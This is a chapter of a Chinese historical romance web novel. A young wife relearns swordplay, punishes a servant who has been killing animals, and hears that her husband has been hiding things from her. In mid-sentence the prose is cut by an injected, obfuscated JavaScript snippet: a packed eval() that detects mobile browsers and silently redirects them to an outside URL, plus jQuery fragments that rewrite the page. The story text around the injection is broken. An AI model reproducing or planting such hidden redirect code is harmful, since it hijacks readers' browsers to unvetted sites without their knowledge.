沈遥猛然惊醒,受到了极强的惊吓。
此时天还未全亮,再也无法入睡,她起床后无所事事来到院中转悠,平稳着心绪,到梨花院时被一晨练的声音所吸引。
往声音方向望去,是她的夫君。
宋衍光着膀子,褪去上衣的身体不壮也不瘦,刚刚好,肌线比想象中更加明显,他手持利剑,在梨树下挥劈着,招招式式都透露着犀利。
他或许不是刻意的,可晶莹汗液从深浅沟壑中顺流而下,再加上突然弹跳一瞬的胸肌,透着雄性动物求偶时的那股骚劲儿。
沈遥站在远处梨花树后抿唇,忽然又想起那个刺激又恐怖的梦。
在他发现看过来时,她不自然地扭头看着树枝上的花瓣与叶片。
宋衍一笑,将利剑收起,朝着沈遥而来,“今日这么早?”
沈遥看回他还喷薄着汗液的脸,面上情绪平平,“我平日起的也不算晚。”
宋衍又是低头一笑,很快将上扬的唇角压下。
沈遥瞪他一眼,低下头,脸上发出红晕,热得不行,也不晓得是因面前这散发着雄性气息的男人,还是因为那个怪梦。
她闭眼将脑海中的不贤之物通通驱逐,找着别的话题道:“不知为何,你的招式看起来好像有些熟悉。嗯,也不能说是熟悉,就是某种直觉……”
她说不太清,宋衍却听了个明白,与她道:“这是儿时诺诺教过我的。”
沈遥双眼一亮,“真的吗?我会功夫?”
宋衍附和了一声。
他还记得儿时第一次见到沈遥,小姑娘一脸嫌弃,在他面前持着木剑耍了一套剑法,自称天外飞仙,人剑合一,为了给他来个下马威。
结果她一个趔趄,倒是人剑合一了,只是那人成了剑。
小姑娘头肿了一个大包,疼红了眼,却仍然面不改色,故作镇定地朝他轻哼,最后扭头离去,高高束起的发甩到他脸上。
明明毫无攻击性,却让他第一次憋笑憋到想小解。
“嗯,岳父大人因着常年行走河西走廊,自是有些防身功夫傍身,他曾教过你。”
“这样,那我功夫好到什么程度啊?”
宋衍见她眼下隐隐透露着惊喜又好奇,挑眉道:“嗯,挺好的。其实,诺诺功夫比我好。”
沈遥心底讶异,淡淡问:“我这么厉害?那和江湖大侠比起来呢?以我的能力,能去做个女将军么?”
说着,她捏了捏自己手臂上方的肌肉。
宋衍又忍不住笑了出来,胸膛震动,“做梦呢?”
沈遥:“……”
宋衍安慰道:“别难过,我的功夫刚好能打得过西街张麻子,诺诺比我厉害,那张麻子更是不在话下。”
“不会说话就别说。”沈遥觉得他在通过自嘲来嘲讽她,“张麻子是个瘸子好吧。”
宋衍:“腿瘸,上身却也壮。”
沈遥:“别说张麻子了,你这练了一身肌肉,怎的反而跟个绣花枕头似的。”
宋衍一哽,听出来她在说自己中看不中用。
他连连道:“有用的,这身肌肉,许能持续很久。”
“……”
沈遥从没见过这般孟浪之人,扭过头,不再理他了。
看着她转身离去的背影,宋衍叹气,松了刚才一直绷紧的肌肉,两三步上前跟上,讨好道:“诺诺可想练功夫?为夫教你。”
“你教我啊?”沈遥压着唇角的笑意瞥他一眼,“绣花枕头?”
宋衍:“……”
……
宋衍随意指点了沈遥几次,她便很快找回感觉。
剑法招式不算复杂,很容易记住,可她发现自己力量跟不上这套剑法,许是这些时日懒惰的原因。
好吧,她不得不承认,确实只打得过西街的张麻子。
宋衍不在时府的白日,沈遥便用许多时间练习,试图找回那套功夫,而梨花树下是个练功的好地方。
梨花花期快结束了,这几日花瓣落得很快,洋洋洒洒,树下英女一身缺胯袍,头发高束,配简单金簪,动作流畅,与花瓣融为一体,颇有吞花卧酒的意境。
“夫人!”锦书忙不迭从远处转角跑来,面露急色。
沈遥收起木剑,一边拿出帕子擦汗,一边问:“怎么了?慢点儿说,别着急。”
锦书大口喘息着,道:“时府那个手脚不干净的人出现了!”
沈遥眸色一深:“是谁?”
锦书直起身子,“爷的人这些时日一直暗中盯着下人,今日在后罩房,又发现了动物尸体,再仔细一查,那手脚不干净的人其实是楚绣她娘,朱氏。”
“朱氏现在在何处?”
“后罩房。”
沈遥不打算等下去,持着木剑,直接带上锦书,又叫了两个家丁,气势汹汹直箭步往后罩房冲去。
后罩房住着时府多数女婢,楚绣和朱氏皆住此地,两人一间房,众奴仆们听到动静纷纷走出门观望。
朱氏房门紧闭着,沈遥喊了一声:“开门!”
门内没传出任何动静,直到她给家丁一个眼神,那人上去猛然一脚踹开木门,“砰”一声巨响,门闩断裂,掉落在地上,两扇木门悬挂在侧,惴惴不安晃动着。
众人吓得直接愣在原地,没想到平日和和气气的夫人,此时竟如此凶悍。
沈遥踱步而入,便闻到了一股血腥,让人在房内四处搜查,家丁们不仅翻出了两只干瘪的松鼠,甚至还找到了三只猫尸,看起来是来自外面的野猫。
四处转了一圈,沈遥留意到一铜盆内燃尽的余灰,其中还有一小片纸未被烧完,看起来像信。
她将其捡出,只见上面赫然写着“血鬼”二字,却不知整封信写得究竟为何。
她将那纸片收起,抬头望去,此时窗户大开,沿边还带着脚印,便知道朱氏定然翻窗跑了。她朝着窗沿往外一看,地上是被踩过的杂草。
跟随的三人还来不及问话,沈遥身体灵活,直接双手一撑,翻过了窗,“你们往门房方向走,我往这边,别让朱氏跑了。”
锦书没想到沈遥这般行动,立刻跑上前想跟上,却见窗台不矮,费了不少力才堪堪翻过,可人已经不在了。
沈遥顺着脚印往前寻找朱氏时,敏锐注意到一处荒芜之地发出的动静,本以为是那逃跑的仆妇,可走近后才发现,是管事在杖责一个小丫鬟。
施杖的家丁口中喊着数字,那丫鬟已经奄奄一息,趴在刑凳上一屁股血,连声音都发不出,管事却仍面不改色。
沈遥心感怪异,可怕朱氏跑了,便暂时未多理会,还是转脚继续去寻人。
可是当她绕了一圈和家丁汇合时,两方人都未见到朱氏。
家丁抹了一把额头的汗,“难不成真被这人给跑了?够快啊,跟兔子似的。”
沈遥静静环视着,目光忽然停留在一处杂草丛生的墙角,隐约有窸窸窣窣的声音。
她提着木剑走去,直指那处,厉声道:“出来!”
半晌没动静,这人见躲不过去,才慢悠悠从草丛中走出,果真是朱氏。
她吊着眉眼,一副懒散的神色朝着沈遥屈膝一点儿,带着一口鸭嗓:“见过夫人,老奴在此处做着除杂草的活计,不知夫人有何要事?”
虽众人曾被管事训过,面上尊重是尊重,可因着沈遥极少责罚人,便都认为她没爷在身旁时,其实也是个胆小怕事的。
沈遥冷冷睨她,“找你许久了,坏了府中规矩,你觉得自己还能安然无恙?”
朱氏低头轻蔑一笑,抬头后又道:“老奴可不知夫人在说甚。”
沈遥:“你房中的那些动物尸体,莫非以为众人眼瞎?”
朱氏抽抽着脸颊,最后咬牙道:“那是别人放老奴房中的,定有人嫉妒楚绣,想冤我们母女二人,夫人单纯,可莫要不分青红皂白,被有心人利用了去。”
“那你刚才跑甚?”
“老奴何曾跑了?一直在此地,夫人若没证据可不要冤枉人。”朱氏不服,相当固执,吃准了沈遥不敢随意责罚下人。
四周围观者定定看着,刚才那证据如此明显了,竟都拿不下这狡猾朱氏,夫人这样的性子,怕最终也是不了了之。
沈遥沉默盯着她片刻后,二话不说一剑劈下。
“诶哟!”被木剑劈中肩膀的朱氏直接滚在地上,啃得一嘴烂泥,面目狰狞。
而她一直藏着的手露了出来,满是血腥。
众人瞬间一片鸦雀无声。
沈遥朝家丁扔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200783|165293||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去一个眼神,对方收令后将地上的人绑了手又扔回房间。
朱氏挣扎着,杀猪般尖叫起来:“夫人!我女儿楚绣可是爷的人,就算咱们这些做奴婢的命贱,你要罚,不也得先看看爷的面子。”
沈遥提着木剑,挑起铺在地上的猫皮,蹙眉,就这样沉默着。耳朵被她吵得疼,沈遥又是朝着脊背一剑劈上去,朱氏“啊”地尖叫一声,可算是安静下来。
沈遥淡淡道:“是啊,说起楚绣,她人呢?”
朱氏声音顿住,立刻摇头,声音断断续续,“楚、楚绣、不、不知。”
沈遥轻轻瞥她一眼,将那纸片抵到她面前,问:“血鬼何意?”
朱氏一时凝滞,又猛得摇头道不知,“老奴真的不知啊,老奴从没见过这东西!”
沈遥没表示任何,想到当初将小橘交到楚绣手上,到如今还依旧后怕。
朱氏这时开始哭哭啼啼,沈遥无动于衷,转身离去,下令:“杖三十,不交代的话,继续杖三十。若叫我发现楚绣与这事儿有关系,同样不容。”
“没有!没有关系!”朱氏心头一紧,立刻摇头。
说实话,虽为奴婢,时府生活却是极好的,再加之楚绣如今又入书房侍奉爷,自是想女儿替她去爷面前说几句话。
沈遥没再多看一眼朱氏,走出房间,往刚才杖刑奴婢的地方而去,可到了那地后,已经没了人影,只剩下被冲洗过的地面。
刚才被打的丫鬟,是犯了何罪?竟叫人往死里打,而她身为当家主母,却丝毫不知。
沈遥手指摩挲着,静静凝思。
“夫人!”一尖锐的声音打断了她的思绪,沈遥转身看去,见是满脸焦急的楚绣,从远处疾步而来。
沈遥知晓她为朱氏,并不想理会,只是踱步往前走,楚绣心底一急,快步上前将人拦下,“夫人!”
沈遥无言凝视着她,似乎是给了她说话的机会,在等待着。
楚绣双眼泛红,梨花带雨道:“求夫人饶恕奴婢阿娘,这板子应该受,可六十大板下去,人或许就没了啊。”
沈遥面无表情问:“血鬼何意?”
楚绣一时说不出话,蹙眉:“什么血鬼?”
沈遥说:“楚绣,你该庆幸,你暂且没参与到此事之中。”
楚绣还保持着屈膝的姿态,愣怔许久,最后终于直起身,看着神情冷淡的沈遥,问:“刑律是规定不可私下宰杀牛,可从来没规定过其他,不过就是几只松鼠和猫,有必要罚得如此重吗?”
“重吗?”沈遥皱眉,“夫仁者,以天地万物为一体,恶能伤之?”
楚绣还想说什么,沈遥没忍住怒气打断:“楚绣,我知你是个乡野来的蛮妇,没念过书,可在时府,规矩就是规矩,没什么好说的。”
“乡野蛮妇……”楚绣低喃,她一直以为,这沈遥是个柔弱的性子,却没想到如此强硬。
蓦地远处传来一阵凄惨尖叫,是她母亲,正受杖刑,随时间流逝,那声音一点点弱下去。
她苦笑起来,双眼通红又委屈地看着沈遥咬唇。
眼见无法改变,她实大恨,既然无可改变,无论如何也想要恶心沈遥一番。
她脸上原本可怜兮兮的表情瞬间荡然无存,“夫人是真厉害,奴婢说不过,也不敢说。在夫人眼中,我们这些做下人的本就不算人,与那些无反抗之力的牲畜无甚区别。”
“可夫人,真以为爷待你以诚心么?”
“夫人如今依仗不过是爷罢了,只是别怪奴婢没有提醒,满腔信任,是换不回真心的。”
沈遥皮笑肉不笑地开口:“怎么?还没真被收入房中,就着急代时衍说话了?”
楚绣垂眸,福身道:“夫人不是想知道刚才那小丫鬟为何被杖责吗?”
沈遥不解:“什么?”
楚绣说:“因为那小丫鬟今晨没有扔掉夫人的药渣,那杖刑是爷亲自下的。夫人身为掌管内院的主母,连下人的刑罚都被爷瞒着。”
“你觉得我会信你?”
“信不信当然任凭夫人。可以夫人的聪慧,必定能看出疑点。不过没将药渣扔掉罢了,何必如此大动干戈?”
沈遥没有说话,楚绣轻描淡写道:“看来,爷对夫人,隐瞒了不少事儿啊。”